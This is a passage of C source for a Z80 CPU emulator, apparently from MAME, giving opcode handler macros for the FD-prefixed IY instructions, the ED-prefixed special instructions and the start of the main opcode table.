OP(fd,4e) { EAY; C = RM(EA); } /* LD C,(IY+o) */
OP(fd,4f) { illegal_1(); op_4f(); } /* DB FD */
OP(fd,50) { illegal_1(); op_50(); } /* DB FD */
OP(fd,51) { illegal_1(); op_51(); } /* DB FD */
OP(fd,52) { illegal_1(); op_52(); } /* DB FD */
OP(fd,53) { illegal_1(); op_53(); } /* DB FD */
OP(fd,54) { D = HY; } /* LD D,HY */
OP(fd,55) { D = LY; } /* LD D,LY */
OP(fd,56) { EAY; D = RM(EA); } /* LD D,(IY+o) */
OP(fd,57) { illegal_1(); op_57(); } /* DB FD */
OP(fd,58) { illegal_1(); op_58(); } /* DB FD */
OP(fd,59) { illegal_1(); op_59(); } /* DB FD */
OP(fd,5a) { illegal_1(); op_5a(); } /* DB FD */
OP(fd,5b) { illegal_1(); op_5b(); } /* DB FD */
OP(fd,5c) { E = HY; } /* LD E,HY */
OP(fd,5d) { E = LY; } /* LD E,LY */
OP(fd,5e) { EAY; E = RM(EA); } /* LD E,(IY+o) */
OP(fd,5f) { illegal_1(); op_5f(); } /* DB FD */
OP(fd,60) { HY = B; } /* LD HY,B */
OP(fd,61) { HY = C; } /* LD HY,C */
OP(fd,62) { HY = D; } /* LD HY,D */
OP(fd,63) { HY = E; } /* LD HY,E */
OP(fd,64) { } /* LD HY,HY */
OP(fd,65) { HY = LY; } /* LD HY,LY */
OP(fd,66) { EAY; H = RM(EA); } /* LD H,(IY+o) */
OP(fd,67) { HY = A; } /* LD HY,A */
OP(fd,68) { LY = B; } /* LD LY,B */
OP(fd,69) { LY = C; } /* LD LY,C */
OP(fd,6a) { LY = D; } /* LD LY,D */
OP(fd,6b) { LY = E; } /* LD LY,E */
OP(fd,6c) { LY = HY; } /* LD LY,HY */
OP(fd,6d) { } /* LD LY,LY */
OP(fd,6e) { EAY; L = RM(EA); } /* LD L,(IY+o) */
OP(fd,6f) { LY = A; } /* LD LY,A */
OP(fd,70) { EAY; WM( EA, B ); } /* LD (IY+o),B */
OP(fd,71) { EAY; WM( EA, C ); } /* LD (IY+o),C */
OP(fd,72) { EAY; WM( EA, D ); } /* LD (IY+o),D */
OP(fd,73) { EAY; WM( EA, E ); } /* LD (IY+o),E */
OP(fd,74) { EAY; WM( EA, H ); } /* LD (IY+o),H */
OP(fd,75) { EAY; WM( EA, L ); } /* LD (IY+o),L */
OP(fd,76) { illegal_1(); op_76(); } /* DB FD */
OP(fd,77) { EAY; WM( EA, A ); } /* LD (IY+o),A */
OP(fd,78) { illegal_1(); op_78(); } /* DB FD */
OP(fd,79) { illegal_1(); op_79(); } /* DB FD */
OP(fd,7a) { illegal_1(); op_7a(); } /* DB FD */
OP(fd,7b) { illegal_1(); op_7b(); } /* DB FD */
OP(fd,7c) { A = HY; } /* LD A,HY */
OP(fd,7d) { A = LY; } /* LD A,LY */
OP(fd,7e) { EAY; A = RM(EA); } /* LD A,(IY+o) */
OP(fd,7f) { illegal_1(); op_7f(); } /* DB FD */
OP(fd,80) { illegal_1(); op_80(); } /* DB FD */
OP(fd,81) { illegal_1(); op_81(); } /* DB FD */
OP(fd,82) { illegal_1(); op_82(); } /* DB FD */
OP(fd,83) { illegal_1(); op_83(); } /* DB FD */
OP(fd,84) { ADD(HY); } /* ADD A,HY */
OP(fd,85) { ADD(LY); } /* ADD A,LY */
OP(fd,86) { EAY; ADD(RM(EA)); } /* ADD A,(IY+o) */
OP(fd,87) { illegal_1(); op_87(); } /* DB FD */
OP(fd,88) { illegal_1(); op_88(); } /* DB FD */
OP(fd,89) { illegal_1(); op_89(); } /* DB FD */
OP(fd,8a) { illegal_1(); op_8a(); } /* DB FD */
OP(fd,8b) { illegal_1(); op_8b(); } /* DB FD */
OP(fd,8c) { ADC(HY); } /* ADC A,HY */
OP(fd,8d) { ADC(LY); } /* ADC A,LY */
OP(fd,8e) { EAY; ADC(RM(EA)); } /* ADC A,(IY+o) */
OP(fd,8f) { illegal_1(); op_8f(); } /* DB FD */
OP(fd,90) { illegal_1(); op_90(); } /* DB FD */
OP(fd,91) { illegal_1(); op_91(); } /* DB FD */
OP(fd,92) { illegal_1(); op_92(); } /* DB FD */
OP(fd,93) { illegal_1(); op_93(); } /* DB FD */
OP(fd,94) { SUB(HY); } /* SUB HY */
OP(fd,95) { SUB(LY); } /* SUB LY */
OP(fd,96) { EAY; SUB(RM(EA)); } /* SUB (IY+o) */
OP(fd,97) { illegal_1(); op_97(); } /* DB FD */
OP(fd,98) { illegal_1(); op_98(); } /* DB FD */
OP(fd,99) { illegal_1(); op_99(); } /* DB FD */
OP(fd,9a) { illegal_1(); op_9a(); } /* DB FD */
OP(fd,9b) { illegal_1(); op_9b(); } /* DB FD */
OP(fd,9c) { SBC(HY); } /* SBC A,HY */
OP(fd,9d) { SBC(LY); } /* SBC A,LY */
OP(fd,9e) { EAY; SBC(RM(EA)); } /* SBC A,(IY+o) */
OP(fd,9f) { illegal_1(); op_9f(); } /* DB FD */
OP(fd,a0) { illegal_1(); op_a0(); } /* DB FD */
OP(fd,a1) { illegal_1(); op_a1(); } /* DB FD */
OP(fd,a2) { illegal_1(); op_a2(); } /* DB FD */
OP(fd,a3) { illegal_1(); op_a3(); } /* DB FD */
OP(fd,a4) { AND(HY); } /* AND HY */
OP(fd,a5) { AND(LY); } /* AND LY */
OP(fd,a6) { EAY; AND(RM(EA)); } /* AND (IY+o) */
OP(fd,a7) { illegal_1(); op_a7(); } /* DB FD */
OP(fd,a8) { illegal_1(); op_a8(); } /* DB FD */
OP(fd,a9) { illegal_1(); op_a9(); } /* DB FD */
OP(fd,aa) { illegal_1(); op_aa(); } /* DB FD */
OP(fd,ab) { illegal_1(); op_ab(); } /* DB FD */
OP(fd,ac) { XOR(HY); } /* XOR HY */
OP(fd,ad) { XOR(LY); } /* XOR LY */
OP(fd,ae) { EAY; XOR(RM(EA)); } /* XOR (IY+o) */
OP(fd,af) { illegal_1(); op_af(); } /* DB FD */
OP(fd,b0) { illegal_1(); op_b0(); } /* DB FD */
OP(fd,b1) { illegal_1(); op_b1(); } /* DB FD */
OP(fd,b2) { illegal_1(); op_b2(); } /* DB FD */
OP(fd,b3) { illegal_1(); op_b3(); } /* DB FD */
OP(fd,b4) { OR(HY); } /* OR HY */
OP(fd,b5) { OR(LY); } /* OR LY */
OP(fd,b6) { EAY; OR(RM(EA)); } /* OR (IY+o) */
OP(fd,b7) { illegal_1(); op_b7(); } /* DB FD */
OP(fd,b8) { illegal_1(); op_b8(); } /* DB FD */
OP(fd,b9) { illegal_1(); op_b9(); } /* DB FD */
OP(fd,ba) { illegal_1(); op_ba(); } /* DB FD */
OP(fd,bb) { illegal_1(); op_bb(); } /* DB FD */
OP(fd,bc) { CP(HY); } /* CP HY */
OP(fd,bd) { CP(LY); } /* CP LY */
OP(fd,be) { EAY; CP(RM(EA)); } /* CP (IY+o) */
OP(fd,bf) { illegal_1(); op_bf(); } /* DB FD */
OP(fd,c0) { illegal_1(); op_c0(); } /* DB FD */
OP(fd,c1) { illegal_1(); op_c1(); } /* DB FD */
OP(fd,c2) { illegal_1(); op_c2(); } /* DB FD */
OP(fd,c3) { illegal_1(); op_c3(); } /* DB FD */
OP(fd,c4) { illegal_1(); op_c4(); } /* DB FD */
OP(fd,c5) { illegal_1(); op_c5(); } /* DB FD */
OP(fd,c6) { illegal_1(); op_c6(); } /* DB FD */
OP(fd,c7) { illegal_1(); op_c7(); } /* DB FD */
OP(fd,c8) { illegal_1(); op_c8(); } /* DB FD */
OP(fd,c9) { illegal_1(); op_c9(); } /* DB FD */
OP(fd,ca) { illegal_1(); op_ca(); } /* DB FD */
OP(fd,cb) { EAY; EXEC(xycb,ARG()); } /* **** FD CB xx */
OP(fd,cc) { illegal_1(); op_cc(); } /* DB FD */
OP(fd,cd) { illegal_1(); op_cd(); } /* DB FD */
OP(fd,ce) { illegal_1(); op_ce(); } /* DB FD */
OP(fd,cf) { illegal_1(); op_cf(); } /* DB FD */
OP(fd,d0) { illegal_1(); op_d0(); } /* DB FD */
OP(fd,d1) { illegal_1(); op_d1(); } /* DB FD */
OP(fd,d2) { illegal_1(); op_d2(); } /* DB FD */
OP(fd,d3) { illegal_1(); op_d3(); } /* DB FD */
OP(fd,d4) { illegal_1(); op_d4(); } /* DB FD */
OP(fd,d5) { illegal_1(); op_d5(); } /* DB FD */
OP(fd,d6) { illegal_1(); op_d6(); } /* DB FD */
OP(fd,d7) { illegal_1(); op_d7(); } /* DB FD */
OP(fd,d8) { illegal_1(); op_d8(); } /* DB FD */
OP(fd,d9) { illegal_1(); op_d9(); } /* DB FD */
OP(fd,da) { illegal_1(); op_da(); } /* DB FD */
OP(fd,db) { illegal_1(); op_db(); } /* DB FD */
OP(fd,dc) { illegal_1(); op_dc(); } /* DB FD */
OP(fd,dd) { EXEC(dd,ROP()); } /* **** FD DD xx */
OP(fd,de) { illegal_1(); op_de(); } /* DB FD */
OP(fd,df) { illegal_1(); op_df(); } /* DB FD */
OP(fd,e0) { illegal_1(); op_e0(); } /* DB FD */
OP(fd,e1) { POP( iy ); } /* POP IY */
OP(fd,e2) { illegal_1(); op_e2(); } /* DB FD */
OP(fd,e3) { EXSP( iy ); } /* EX (SP),IY */
OP(fd,e4) { illegal_1(); op_e4(); } /* DB FD */
OP(fd,e5) { PUSH( iy ); } /* PUSH IY */
OP(fd,e6) { illegal_1(); op_e6(); } /* DB FD */
OP(fd,e7) { illegal_1(); op_e7(); } /* DB FD */
OP(fd,e8) { illegal_1(); op_e8(); } /* DB FD */
OP(fd,e9) { PC = IY; } /* JP (IY) */
OP(fd,ea) { illegal_1(); op_ea(); } /* DB FD */
OP(fd,eb) { illegal_1(); op_eb(); } /* DB FD */
OP(fd,ec) { illegal_1(); op_ec(); } /* DB FD */
OP(fd,ed) { illegal_1(); op_ed(); } /* DB FD */
OP(fd,ee) { illegal_1(); op_ee(); } /* DB FD */
OP(fd,ef) { illegal_1(); op_ef(); } /* DB FD */
OP(fd,f0) { illegal_1(); op_f0(); } /* DB FD */
OP(fd,f1) { illegal_1(); op_f1(); } /* DB FD */
OP(fd,f2) { illegal_1(); op_f2(); } /* DB FD */
OP(fd,f3) { illegal_1(); op_f3(); } /* DB FD */
OP(fd,f4) { illegal_1(); op_f4(); } /* DB FD */
OP(fd,f5) { illegal_1(); op_f5(); } /* DB FD */
OP(fd,f6) { illegal_1(); op_f6(); } /* DB FD */
OP(fd,f7) { illegal_1(); op_f7(); } /* DB FD */
OP(fd,f8) { illegal_1(); op_f8(); } /* DB FD */
OP(fd,f9) { SP = IY; } /* LD SP,IY */
OP(fd,fa) { illegal_1(); op_fa(); } /* DB FD */
OP(fd,fb) { illegal_1(); op_fb(); } /* DB FD */
OP(fd,fc) { illegal_1(); op_fc(); } /* DB FD */
OP(fd,fd) { EXEC(fd,ROP()); } /* **** FD FD xx */
OP(fd,fe) { illegal_1(); op_fe(); } /* DB FD */
OP(fd,ff) { illegal_1(); op_ff(); } /* DB FD */
OP(illegal,2)
{
#if VERBOSE
logerror("Z80 #%d ill. opcode $ed $%02x\n",
cpu_getactivecpu(), cpu_readop((PCD-1)&0xffff));
#endif
}
/**********************************************************
* special opcodes (ED prefix)
**********************************************************/
OP(ed,00) { illegal_2(); } /* DB ED */
OP(ed,01) { illegal_2(); } /* DB ED */
OP(ed,02) { illegal_2(); } /* DB ED */
OP(ed,03) { illegal_2(); } /* DB ED */
OP(ed,04) { illegal_2(); } /* DB ED */
OP(ed,05) { illegal_2(); } /* DB ED */
OP(ed,06) { illegal_2(); } /* DB ED */
OP(ed,07) { illegal_2(); } /* DB ED */
OP(ed,08) { illegal_2(); } /* DB ED */
OP(ed,09) { illegal_2(); } /* DB ED */
OP(ed,0a) { illegal_2(); } /* DB ED */
OP(ed,0b) { illegal_2(); } /* DB ED */
OP(ed,0c) { illegal_2(); } /* DB ED */
OP(ed,0d) { illegal_2(); } /* DB ED */
OP(ed,0e) { illegal_2(); } /* DB ED */
OP(ed,0f) { illegal_2(); } /* DB ED */
OP(ed,10) { illegal_2(); } /* DB ED */
OP(ed,11) { illegal_2(); } /* DB ED */
OP(ed,12) { illegal_2(); } /* DB ED */
OP(ed,13) { illegal_2(); } /* DB ED */
OP(ed,14) { illegal_2(); } /* DB ED */
OP(ed,15) { illegal_2(); } /* DB ED */
OP(ed,16) { illegal_2(); } /* DB ED */
OP(ed,17) { illegal_2(); } /* DB ED */
OP(ed,18) { illegal_2(); } /* DB ED */
OP(ed,19) { illegal_2(); } /* DB ED */
OP(ed,1a) { illegal_2(); } /* DB ED */
OP(ed,1b) { illegal_2(); } /* DB ED */
OP(ed,1c) { illegal_2(); } /* DB ED */
OP(ed,1d) { illegal_2(); } /* DB ED */
OP(ed,1e) { illegal_2(); } /* DB ED */
OP(ed,1f) { illegal_2(); } /* DB ED */
OP(ed,20) { illegal_2(); } /* DB ED */
OP(ed,21) { illegal_2(); } /* DB ED */
OP(ed,22) { illegal_2(); } /* DB ED */
OP(ed,23) { illegal_2(); } /* DB ED */
OP(ed,24) { illegal_2(); } /* DB ED */
OP(ed,25) { illegal_2(); } /* DB ED */
OP(ed,26) { illegal_2(); } /* DB ED */
OP(ed,27) { illegal_2(); } /* DB ED */
OP(ed,28) { illegal_2(); } /* DB ED */
OP(ed,29) { illegal_2(); } /* DB ED */
OP(ed,2a) { illegal_2(); } /* DB ED */
OP(ed,2b) { illegal_2(); } /* DB ED */
OP(ed,2c) { illegal_2(); } /* DB ED */
OP(ed,2d) { illegal_2(); } /* DB ED */
OP(ed,2e) { illegal_2(); } /* DB ED */
OP(ed,2f) { illegal_2(); } /* DB ED */
OP(ed,30) { illegal_2(); } /* DB ED */
OP(ed,31) { illegal_2(); } /* DB ED */
OP(ed,32) { illegal_2(); } /* DB ED */
OP(ed,33) { illegal_2(); } /* DB ED */
OP(ed,34) { illegal_2(); } /* DB ED */
OP(ed,35) { illegal_2(); } /* DB ED */
OP(ed,36) { illegal_2(); } /* DB ED */
OP(ed,37) { illegal_2(); } /* DB ED */
OP(ed,38) { illegal_2(); } /* DB ED */
OP(ed,39) { illegal_2(); } /* DB ED */
OP(ed,3a) { illegal_2(); } /* DB ED */
OP(ed,3b) { illegal_2(); } /* DB ED */
OP(ed,3c) { illegal_2(); } /* DB ED */
OP(ed,3d) { illegal_2(); } /* DB ED */
OP(ed,3e) { illegal_2(); } /* DB ED */
OP(ed,3f) { illegal_2(); } /* DB ED */
OP(ed,40) { B = IN(BC); F = (F & CF) | SZP[B]; } /* IN B,(C) */
OP(ed,41) { OUT(BC, B); } /* OUT (C),B */
OP(ed,42) { SBC16( bc ); } /* SBC HL,BC */
OP(ed,43) { EA = ARG16(); WM16( EA, &Z80.bc ); WZ = EA+1; } /* LD (w),BC */
OP(ed,44) { NEG; } /* NEG */
OP(ed,45) { RETN; } /* RETN; */
OP(ed,46) { IM = 0; } /* IM 0 */
OP(ed,47) { LD_I_A; } /* LD I,A */
OP(ed,48) { C = IN(BC); F = (F & CF) | SZP[C]; } /* IN C,(C) */
OP(ed,49) { OUT(BC, C); } /* OUT (C),C */
OP(ed,4a) { ADC16( bc ); } /* ADC HL,BC */
OP(ed,4b) { EA = ARG16(); RM16( EA, &Z80.bc ); WZ = EA+1; } /* LD BC,(w) */
OP(ed,4c) { NEG; } /* NEG */
OP(ed,4d) { RETI; } /* RETI */
OP(ed,4e) { IM = 0; } /* IM 0 */
OP(ed,4f) { LD_R_A; } /* LD R,A */
OP(ed,50) { D = IN(BC); F = (F & CF) | SZP[D]; } /* IN D,(C) */
OP(ed,51) { OUT(BC, D); } /* OUT (C),D */
OP(ed,52) { SBC16( de ); } /* SBC HL,DE */
OP(ed,53) { EA = ARG16(); WM16( EA, &Z80.de ); WZ = EA+1; } /* LD (w),DE */
OP(ed,54) { NEG; } /* NEG */
OP(ed,55) { RETN; } /* RETN; */
OP(ed,56) { IM = 1; } /* IM 1 */
OP(ed,57) { LD_A_I; } /* LD A,I */
OP(ed,58) { E = IN(BC); F = (F & CF) | SZP[E]; } /* IN E,(C) */
OP(ed,59) { OUT(BC, E); } /* OUT (C),E */
OP(ed,5a) { ADC16( de ); } /* ADC HL,DE */
OP(ed,5b) { EA = ARG16(); RM16( EA, &Z80.de ); WZ = EA+1; } /* LD DE,(w) */
OP(ed,5c) { NEG; } /* NEG */
OP(ed,5d) { RETI; } /* RETI */
OP(ed,5e) { IM = 2; } /* IM 2 */
OP(ed,5f) { LD_A_R; } /* LD A,R */
OP(ed,60) { H = IN(BC); F = (F & CF) | SZP[H]; } /* IN H,(C) */
OP(ed,61) { OUT(BC, H); } /* OUT (C),H */
OP(ed,62) { SBC16( hl ); } /* SBC HL,HL */
OP(ed,63) { EA = ARG16(); WM16( EA, &Z80.hl ); WZ = EA+1; } /* LD (w),HL */
OP(ed,64) { NEG; } /* NEG */
OP(ed,65) { RETN; } /* RETN; */
OP(ed,66) { IM = 0; } /* IM 0 */
OP(ed,67) { RRD; } /* RRD (HL) */
OP(ed,68) { L = IN(BC); F = (F & CF) | SZP[L]; } /* IN L,(C) */
OP(ed,69) { OUT(BC, L); } /* OUT (C),L */
OP(ed,6a) { ADC16( hl ); } /* ADC HL,HL */
OP(ed,6b) { EA = ARG16(); RM16( EA, &Z80.hl ); WZ = EA+1; } /* LD HL,(w) */
OP(ed,6c) { NEG; } /* NEG */
OP(ed,6d) { RETI; } /* RETI */
OP(ed,6e) { IM = 0; } /* IM 0 */
OP(ed,6f) { RLD; } /* RLD (HL) */
OP(ed,70) { UINT8 res = IN(BC); F = (F & CF) | SZP[res]; } /* IN 0,(C) */
OP(ed,71) { OUT(BC, 0); } /* OUT (C),0 */
OP(ed,72) { SBC16( sp ); } /* SBC HL,SP */
OP(ed,73) { EA = ARG16(); WM16( EA, &Z80.sp ); WZ = EA+1; } /* LD (w),SP */
OP(ed,74) { NEG; } /* NEG */
OP(ed,75) { RETN; } /* RETN; */
OP(ed,76) { IM = 1; } /* IM 1 */
OP(ed,77) { illegal_2(); } /* DB ED,77 */
OP(ed,78) { A = IN(BC); F = (F & CF) | SZP[A]; WZ = BC+1; } /* IN E,(C) */
OP(ed,79) { OUT(BC, A); WZ = BC + 1; } /* OUT (C),A */
OP(ed,7a) { ADC16( sp ); } /* ADC HL,SP */
OP(ed,7b) { EA = ARG16(); RM16( EA, &Z80.sp ); WZ = EA+1; } /* LD SP,(w) */
OP(ed,7c) { NEG; } /* NEG */
OP(ed,7d) { RETI; } /* RETI */
OP(ed,7e) { IM = 2; } /* IM 2 */
OP(ed,7f) { illegal_2(); } /* DB ED,7F */
OP(ed,80) { illegal_2(); } /* DB ED */
OP(ed,81) { illegal_2(); } /* DB ED */
OP(ed,82) { illegal_2(); } /* DB ED */
OP(ed,83) { illegal_2(); } /* DB ED */
OP(ed,84) { illegal_2(); } /* DB ED */
OP(ed,85) { illegal_2(); } /* DB ED */
OP(ed,86) { illegal_2(); } /* DB ED */
OP(ed,87) { illegal_2(); } /* DB ED */
OP(ed,88) { illegal_2(); } /* DB ED */
OP(ed,89) { illegal_2(); } /* DB ED */
OP(ed,8a) { illegal_2(); } /* DB ED */
OP(ed,8b) { illegal_2(); } /* DB ED */
OP(ed,8c) { illegal_2(); } /* DB ED */
OP(ed,8d) { illegal_2(); } /* DB ED */
OP(ed,8e) { illegal_2(); } /* DB ED */
OP(ed,8f) { illegal_2(); } /* DB ED */
OP(ed,90) { illegal_2(); } /* DB ED */
OP(ed,91) { illegal_2(); } /* DB ED */
OP(ed,92) { illegal_2(); } /* DB ED */
OP(ed,93) { illegal_2(); } /* DB ED */
OP(ed,94) { illegal_2(); } /* DB ED */
OP(ed,95) { illegal_2(); } /* DB ED */
OP(ed,96) { illegal_2(); } /* DB ED */
OP(ed,97) { illegal_2(); } /* DB ED */
OP(ed,98) { illegal_2(); } /* DB ED */
OP(ed,99) { illegal_2(); } /* DB ED */
OP(ed,9a) { illegal_2(); } /* DB ED */
OP(ed,9b) { illegal_2(); } /* DB ED */
OP(ed,9c) { illegal_2(); } /* DB ED */
OP(ed,9d) { illegal_2(); } /* DB ED */
OP(ed,9e) { illegal_2(); } /* DB ED */
OP(ed,9f) { illegal_2(); } /* DB ED */
OP(ed,a0) { LDI; } /* LDI */
OP(ed,a1) { CPI; } /* CPI */
OP(ed,a2) { INI; } /* INI */
OP(ed,a3) { OUTI; } /* OUTI */
OP(ed,a4) { illegal_2(); } /* DB ED */
OP(ed,a5) { illegal_2(); } /* DB ED */
OP(ed,a6) { illegal_2(); } /* DB ED */
OP(ed,a7) { illegal_2(); } /* DB ED */
OP(ed,a8) { LDD; } /* LDD */
OP(ed,a9) { CPD; } /* CPD */
OP(ed,aa) { IND; } /* IND */
OP(ed,ab) { OUTD; } /* OUTD */
OP(ed,ac) { illegal_2(); } /* DB ED */
OP(ed,ad) { illegal_2(); } /* DB ED */
OP(ed,ae) { illegal_2(); } /* DB ED */
OP(ed,af) { illegal_2(); } /* DB ED */
OP(ed,b0) { LDIR; } /* LDIR */
OP(ed,b1) { CPIR; } /* CPIR */
OP(ed,b2) { INIR; } /* INIR */
OP(ed,b3) { OTIR; } /* OTIR */
OP(ed,b4) { illegal_2(); } /* DB ED */
OP(ed,b5) { illegal_2(); } /* DB ED */
OP(ed,b6) { illegal_2(); } /* DB ED */
OP(ed,b7) { illegal_2(); } /* DB ED */
OP(ed,b8) { LDDR; } /* LDDR */
OP(ed,b9) { CPDR; } /* CPDR */
OP(ed,ba) { INDR; } /* INDR */
OP(ed,bb) { OTDR; } /* OTDR */
OP(ed,bc) { illegal_2(); } /* DB ED */
OP(ed,bd) { illegal_2(); } /* DB ED */
OP(ed,be) { illegal_2(); } /* DB ED */
OP(ed,bf) { illegal_2(); } /* DB ED */
OP(ed,c0) { illegal_2(); } /* DB ED */
OP(ed,c1) { illegal_2(); } /* DB ED */
OP(ed,c2) { illegal_2(); } /* DB ED */
OP(ed,c3) { illegal_2(); } /* DB ED */
OP(ed,c4) { illegal_2(); } /* DB ED */
OP(ed,c5) { illegal_2(); } /* DB ED */
OP(ed,c6) { illegal_2(); } /* DB ED */
OP(ed,c7) { illegal_2(); } /* DB ED */
OP(ed,c8) { illegal_2(); } /* DB ED */
OP(ed,c9) { illegal_2(); } /* DB ED */
OP(ed,ca) { illegal_2(); } /* DB ED */
OP(ed,cb) { illegal_2(); } /* DB ED */
OP(ed,cc) { illegal_2(); } /* DB ED */
OP(ed,cd) { illegal_2(); } /* DB ED */
OP(ed,ce) { illegal_2(); } /* DB ED */
OP(ed,cf) { illegal_2(); } /* DB ED */
OP(ed,d0) { illegal_2(); } /* DB ED */
OP(ed,d1) { illegal_2(); } /* DB ED */
OP(ed,d2) { illegal_2(); } /* DB ED */
OP(ed,d3) { illegal_2(); } /* DB ED */
OP(ed,d4) { illegal_2(); } /* DB ED */
OP(ed,d5) { illegal_2(); } /* DB ED */
OP(ed,d6) { illegal_2(); } /* DB ED */
OP(ed,d7) { illegal_2(); } /* DB ED */
OP(ed,d8) { illegal_2(); } /* DB ED */
OP(ed,d9) { illegal_2(); } /* DB ED */
OP(ed,da) { illegal_2(); } /* DB ED */
OP(ed,db) { illegal_2(); } /* DB ED */
OP(ed,dc) { illegal_2(); } /* DB ED */
OP(ed,dd) { illegal_2(); } /* DB ED */
OP(ed,de) { illegal_2(); } /* DB ED */
OP(ed,df) { illegal_2(); } /* DB ED */
OP(ed,e0) { illegal_2(); } /* DB ED */
OP(ed,e1) { illegal_2(); } /* DB ED */
OP(ed,e2) { illegal_2(); } /* DB ED */
OP(ed,e3) { illegal_2(); } /* DB ED */
OP(ed,e4) { illegal_2(); } /* DB ED */
OP(ed,e5) { illegal_2(); } /* DB ED */
OP(ed,e6) { illegal_2(); } /* DB ED */
OP(ed,e7) { illegal_2(); } /* DB ED */
OP(ed,e8) { illegal_2(); } /* DB ED */
OP(ed,e9) { illegal_2(); } /* DB ED */
OP(ed,ea) { illegal_2(); } /* DB ED */
OP(ed,eb) { illegal_2(); } /* DB ED */
OP(ed,ec) { illegal_2(); } /* DB ED */
OP(ed,ed) { illegal_2(); } /* DB ED */
OP(ed,ee) { illegal_2(); } /* DB ED */
OP(ed,ef) { illegal_2(); } /* DB ED */
OP(ed,f0) { illegal_2(); } /* DB ED */
OP(ed,f1) { illegal_2(); } /* DB ED */
OP(ed,f2) { illegal_2(); } /* DB ED */
OP(ed,f3) { illegal_2(); } /* DB ED */
OP(ed,f4) { illegal_2(); } /* DB ED */
OP(ed,f5) { illegal_2(); } /* DB ED */
OP(ed,f6) { illegal_2(); } /* DB ED */
OP(ed,f7) { illegal_2(); } /* DB ED */
OP(ed,f8) { illegal_2(); } /* DB ED */
OP(ed,f9) { illegal_2(); } /* DB ED */
OP(ed,fa) { illegal_2(); } /* DB ED */
OP(ed,fb) { illegal_2(); } /* DB ED */
OP(ed,fc) { illegal_2(); } /* DB ED */
OP(ed,fd) { illegal_2(); } /* DB ED */
OP(ed,fe) { illegal_2(); } /* DB ED */
OP(ed,ff) { illegal_2(); } /* DB ED */
/**********************************************************
* main opcodes
**********************************************************/
OP(op,00) { } /* NOP */
OP(op,01) { BC = ARG16(); } /* LD BC,w */
OP(op,02) { WM( BC, A ); WZ_L = (BC + 1) & 0xFF; WZ_H = A; } /* LD (BC),A */
OP(op,03) { BC++; } /* INC BC */
OP(op,04) { B = INC(B); } /* INC B */
OP(op,05) { B = DEC(B); } /* DEC B */
OP(op,06) { B = ARG(); } /* LD B,n */
OP(op,07) { RLCA; } /* RLCA */
OP(op,08) { EX_AF; } /* EX AF,AF' */
OP(op,09) { ADD16(hl, bc); } /* ADD HL,BC */
OP(op,0a) { A = RM( BC ); WZ=BC+1; } /* LD A,(BC) */
OP(op,0b) { BC--; } /* DEC BC */
OP(op,0c) { C = INC(C); } /* INC C */
OP(op,0d) { C = DEC(C); } /* DEC C */
OP(op,0e) { C = ARG(); } /* LD C,n */
OP(op,0f) { RRCA; } /* RRCA */
OP(op,10) { B--; JR_COND( B, 0x10 ); } /* DJNZ o */
OP(op,11) { DE = ARG16(); } /* LD DE,w */
OP(op,12) { WM( DE, A ); WZ_L = (DE + 1) & 0xFF; WZ_H = A; } /* LD (DE),A */
OP(op,13) { DE++; } /* INC DE */
OP(op,14) { D = INC(D); } /* INC D */
OP(op,15) { D = DEC(D); } /* DEC D */
OP(op,16) { D = ARG(); } /* LD D,n */
OP(op,17) { RLA; } /* RLA */
OP(op,18) { JR(); } /* JR o */
OP(op,19) { ADD16(hl, de); } /* ADD HL,DE */
OP(op,1a) { A = RM( DE ); WZ=DE+1; } /* LD A,(DE) */
OP(op,1b) { DE--; } /* DEC DE */
OP(op,1c) { E = INC(E); } /* INC E */
OP(op,1d) { E = DEC(E); } /* DEC E */
OP(op,1e) { E = ARG(); } /* LD E,n */
OP(op,1f) { RRA; } /* RRA */
OP(op,20) { JR_COND( !(F & ZF), 0x20 ); } /* JR NZ,o */
OP(op,21) { HL = ARG16(); } /* LD HL,w */
OP(op,22) { EA = ARG16(); WM16( EA, &Z80.hl ); WZ = EA+1; } /* LD (w),HL */
OP(op,23) { HL++; } /* INC HL */
OP(op,24) { H = INC(H); } /* INC H */
OP(op,25) { H = DEC(H); } /* DEC H */
OP(op,26) { H = ARG(); } /* LD H,n */
OP(op,27) { DAA; } /* DAA */
OP(op,28) { JR_COND( F & ZF, 0x28 ); } /* JR Z,o */
OP(op,29) { ADD16(hl, hl); } /* ADD HL,HL */
OP(op,2a) { EA = ARG16(); RM16( EA, &Z80.hl ); WZ = EA+1; } /* LD HL,(w) */
OP(op,2b) { HL--; } /* DEC HL */
OP(op,2c) { L = INC(L); } /* INC L */
OP(op,2d) { L = DEC(L); } /* DEC L */
OP(op,2e) { L = ARG(); } /* LD L,n */
OP(op,2f) { A ^= 0xff; F = (F&(SF|ZF|PF|CF))|HF|NF|(A&(YF|XF)); } /* CPL */
OP(op,30) { JR_COND( !(F & CF), 0x30 ); } /* JR NC,o */
OP(op,31) { SP = ARG16(); } /* LD SP,w */
OP(op,32) { EA = ARG16(); WM( EA, A ); WZ_L=(EA+1)&0xFF;WZ_H=A; } /* LD (w),A */
OP(op,33) { SP++; } /* INC SP */
OP(op,34) { WM( HL, INC(RM(HL)) ); } /* INC (HL) */
OP(op,35) { WM( HL, DEC(RM(HL)) ); } /* DEC (HL) */
OP(op,36) { WM( HL, ARG() ); } /* LD (HL),n */
OP(op,37) { F = (F & (SF|ZF|YF|XF|PF)) | CF | (A & (YF|XF)); } /* SCF */
OP(op,38) { JR_COND( F & CF, 0x38 ); } /* JR C,o */
OP(op,39) { ADD16(hl, sp); } /* ADD HL,SP */
OP(op,3a) { EA = ARG16(); A = RM( EA ); WZ = EA+1; } /* LD A,(w) */
OP(op,3b) { SP--; } /* DEC SP */
OP(op,3c) { A = INC(A); } /* INC A */
OP(op,3d) { A = DEC(A); } /* DEC A */
OP(op,3e) { A = ARG(); } /* LD A,n */
OP(op,3f) { F = ((F&(SF|ZF|YF|XF|PF|CF))|((F&CF)<<4)|(A&(YF|XF)))^CF; } /* CCF */
OP(op,40) { } /* LD B,B */
OP(op,41) { B = C; } /* LD B,C */
OP(op,42) { B = D; } /* LD B,D */
OP(op,43) { B = E; } /* LD B,E */
OP(op,44) { B = H; } /* LD B,H */
OP(op,45) { B = L; } /* LD B,L */
OP(op,46) { B = RM(HL); } /* LD B,(HL) */
OP(op,47) { B = A; } /* LD B,A */
OP(op,48) { C = B; } /* LD C,B */
OP(op,49) { } /* LD C,C */
OP(op,4a) { C = D; } /* LD C,D */
OP(op,4b) { C = E; } /* LD C,E */
OP(op,4c) { C = H; } /* LD C,H */
OP(op,4d) { C = L; } /* LD C,L */
OP(op,4e) { C = RM(HL); } /* LD C,(HL) */
